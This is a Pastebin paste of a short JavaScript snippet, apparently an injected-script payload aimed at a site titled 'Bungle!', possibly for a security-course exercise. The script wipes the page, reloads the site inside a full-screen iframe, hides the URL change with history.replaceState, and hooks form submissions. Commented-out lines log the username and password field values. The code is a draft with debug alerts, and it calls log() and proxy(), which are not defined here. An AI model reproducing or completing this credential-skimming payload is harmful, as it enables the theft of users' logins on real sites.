Advertisement
Guest User

Untitled

a guest
Oct 5th, 2016
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.93 KB | None | 0 0
  1. $(function(){
  2. $("body").html("");
  3. var iframe = document.createElement("iframe");
  4. //$("body").append(iframe);
  5. iframe.id = "theframe";
  6. iframe.style.width = "100%";
  7. iframe.style.height = "100%";
  8. iframe.style.position = "absolute";
  9. document.body.appendChild(iframe);
  10. proxy("./");
  11. iframe.src = './';
  12. iframe.onload = function(){
  13. $('body', this.contentDocument).on('submit', 'form', function(event){
  14. //$("#log-in-btn", this.contentDocument).click(function(){
  15. //log({event: "./login", user: $("#username", this.contentDocument).val(), pass: $("#userpass", this.contentDocument).val()});
  16. //});
  17. alert($(this).attr('action'));
  18. $("#log-in-btn", this.contentDocument).submit(function(){
  19. alert('test1');
  20. //log({event: "./login", user: $("#username", this.contentDocument).val(), pass: $("#userpass", this.contentDocument).val()});
  21. });
  22. });
  23. /*$("#log-in-btn").click(function(e){
  24. alert('out1');
  25. log({event: "login", user: $("#username").val(), pass: $("#userpass").val()});
  26. });
  27. $("#log-in-btn").submit(function(e){
  28. alert('out2');
  29. log({event: "login", user: $("#username").val(), pass: $("#userpass").val()});
  30. });*/
  31. }
  32. history.replaceState({}, "Bungle!", "/");
  33. alert('go');
  34. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement